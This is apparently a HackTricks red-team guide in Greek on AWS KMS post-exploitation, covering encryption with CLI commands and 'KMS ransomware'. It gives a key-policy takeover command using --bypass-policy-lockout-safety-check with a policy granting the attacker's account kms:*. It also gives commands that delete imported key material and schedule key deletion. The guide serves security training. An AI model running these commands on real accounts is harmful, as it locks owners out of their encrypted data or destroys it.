AWS - KMS Post Exploitation

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στο 💬 Discord group ή στο telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

KMS

Για περισσότερες πληροφορίες ελέγξτε:

AWS - KMS Enum

Κρυπτογράφηση/Αποκρυπτογράφηση πληροφοριών

fileb:// και file:// είναι URI schemes που χρησιμοποιούνται σε εντολές AWS CLI για να προσδιορίσουν τη διαδρομή προς τοπικά αρχεία:

• fileb://: Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για μη κειμενικά αρχεία.

• file://: Διαβάζει το αρχείο σε λειτουργία κειμένου, τυπικά χρησιμοποιείται για απλά αρχεία κειμένου, scripts ή JSON που δεν έχουν ειδικές απαιτήσεις κωδικοποίησης.

Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε κάποια δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει τα δυαδικά δεδομένα, όχι δεδομένα κωδικοποιημένα σε base64. (fileb://)

• Χρησιμοποιώντας ένα συμμετρικό κλειδί

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode

• Χρησιμοποιώντας ένα asymmetric κλειδί:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ένας επιτιθέμενος με προνομιακή πρόσβαση στο KMS θα μπορούσε να τροποποιήσει την πολιτική KMS των κλειδιών και να παραχωρήσει την πρόσβαση στον λογαριασμό του, αφαιρώντας την πρόσβαση που παραχωρήθηκε στον νόμιμο λογαριασμό.

Έτσι, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία οποιασδήποτε υπηρεσίας που έχει κρυπτογραφηθεί με αυτά τα κλειδιά, δημιουργώντας ένα εύκολο αλλά αποτελεσματικό ransomware πάνω στον λογαριασμό.

Σημειώστε ότι τα διαχειριζόμενα από την AWS κλειδιά δεν επηρεάζονται από αυτήν την επίθεση, μόνο τα διαχειριζόμενα από τον πελάτη κλειδιά.

Επίσης, σημειώστε την ανάγκη να χρησιμοποιήσετε την παράμετρο --bypass-policy-lockout-safety-check (η έλλειψη αυτής της επιλογής στην κονσόλα ιστού καθιστά αυτήν την επίθεση δυνατή μόνο από το CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Σημειώστε ότι αν αλλάξετε αυτή την πολιτική και δώσετε πρόσβαση μόνο σε έναν εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα πολιτική για να δώσετε την πρόσβαση πίσω στον αρχικό λογαριασμό, δεν θα μπορείτε.

Generic KMS Ransomware

Global KMS Ransomware

Υπάρχει ένας άλλος τρόπος για να εκτελέσετε ένα παγκόσμιο KMS Ransomware, ο οποίος θα περιλαμβάνει τα εξής βήματα:

• Δημιουργήστε ένα νέο κλειδί με υλικό κλειδιού που έχει εισαχθεί από τον επιτιθέμενο

• Επανακρυπτογραφήστε τα παλαιότερα δεδομένα που έχουν κρυπτογραφηθεί με την προηγούμενη έκδοση με το νέο.

• Διαγράψτε το κλειδί KMS

• Τώρα μόνο ο επιτιθέμενος, που έχει το αρχικό υλικό κλειδιού, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα

Destroy keys

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Σημειώστε ότι η AWS τώρα αποτρέπει τις προηγούμενες ενέργειες να εκτελούνται από έναν διασυνοριακό λογαριασμό:

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.